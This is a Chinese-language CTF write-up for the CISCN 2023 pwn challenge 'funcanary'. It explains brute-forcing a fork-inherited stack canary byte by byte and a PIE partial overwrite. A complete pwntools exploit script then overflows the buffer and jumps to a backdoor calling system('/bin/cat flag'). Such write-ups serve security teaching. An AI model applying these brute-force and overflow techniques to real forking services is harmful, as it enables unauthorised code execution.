【CISCN 2023】funcanary
收获
通过
fork()
函数产生的 canary 金丝雀的值可以通过 one-by-one 爆破,canary 的最后一字节为b'\x00'
,对于 64 位程序需要爆破出前七个字节开启 PIE 地址随机化时,可以利用 PIE 的漏洞,即:地址的低三位不会发生改变,可以对地址进行爆破
在爆破 canary 和 真实地址时,发送数据用
io.send()
,不可以用io.sendline()
,否则会将爆破的下一位修改为回车符(0x0a
),导致爆破失败
(2023年5月27日-2023年5月28日)【CISCN 2023】funcanary
思路
分析程序:
权限开满了
丢到 IDA 分析:
发现程序会使用 fork()
生成子进程,注意:子进程崩溃不会导致父进程退出
跟进 sub_128A()
:
在输入 buf
处存在溢出:
但是有 canary 金丝雀保护
在函数列表中查找后门函数无果
查看字符串,发现 '/bin/cat flag'
:
跟进位置:
发现有 system("/bin/cat flag")
所以思路很清晰了,就是首先通过 one-by-one 爆破 canary 绕过金丝雀,然后通过 buf
的溢出跳转到后门函数执行 system("/bin/cat flag")
注意:
通过fork()
函数产生的 canary 金丝雀的值是固定不变的 (同一个进程中的不同线程的 canary 是相同的),因为子进程会完全复制父进程地址空间的内容,所以可以爆破 canary 的值,利用子进程进行溢出,每次只溢出一个字节,直到溢出的这一个字节值是正确的,再溢出下一个字节由于 canary 的低一位字节固定为
"\00"
,因此只需要爆破前七位字节,如此反复直到爆破完七位即可得到 canary 的值,每一字节的取值范围在0 ~ 255
由于还开启了 PIE 地址随机化,所以后门函数的地址 0x1231
不是真实地址,但是可以利用 PIE 地址随机化的漏洞
即:地址的低三位不会发生改变
partial write
(部分写入)是一种利用了 PIE 技术缺陷的 bypass 技术由于内存的分页管理机制,如果开启 PIE 保护的话,只能影响到单个内存页,一个内存页大小为
0x1000
,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数是始终不变的
因此,根据后门函数的地址 0x1231
可以推断,后门函数的真实地址为 0xn231
,其中 n
就是需要爆破的值,取值范围在 0 ~ 15
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/funcanary") # 程序路径
else:
io = remote("39.106.84.217", 26433) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/funcanary")
# 爆破 canary
canary = b'\x00'
for i in range(7):
for j in range(256):
canary += bytes([j])
payload = b'a' * (0x70 - 0x08) + canary
io.send(payload) # 注意不能用 sendline,不能添加换行符,否则 canary 永远不正确
s = io.recvline() # b'welcome\n'
s = io.recvline() # b'*** stack smashing detected ***: terminated\n'
if b'stack smashing detected' in s:
canary = canary[:-1]
continue
else:
print("成功找到第 " + str(i + 1) + " 个字节")
break
continue
print("canary:", canary)
# 爆破后门函数地址
address = b'\x31'
for i in range(16):
address += bytes([0x10 * i + 2]) # 构造 b'\xi2',即 address = p64(0xi231)
payload = b'a' * (0x70 - 0x08) + canary + b'a' * 0x8 + address
io.send(payload) # 注意不能用 sendline,不能添加换行符
s = io.recvline()
if b'flag' in s:
print(s)
break
else:
address = address[:-1]
continue
io.interactive()
结果
爆破出 canary:b'\x00}{\xa1K\xc8\xbf\xe5'
可以看到爆破出的地址为:0xf231
执行后门函数的 system("/bin/cat flag")
获得 flag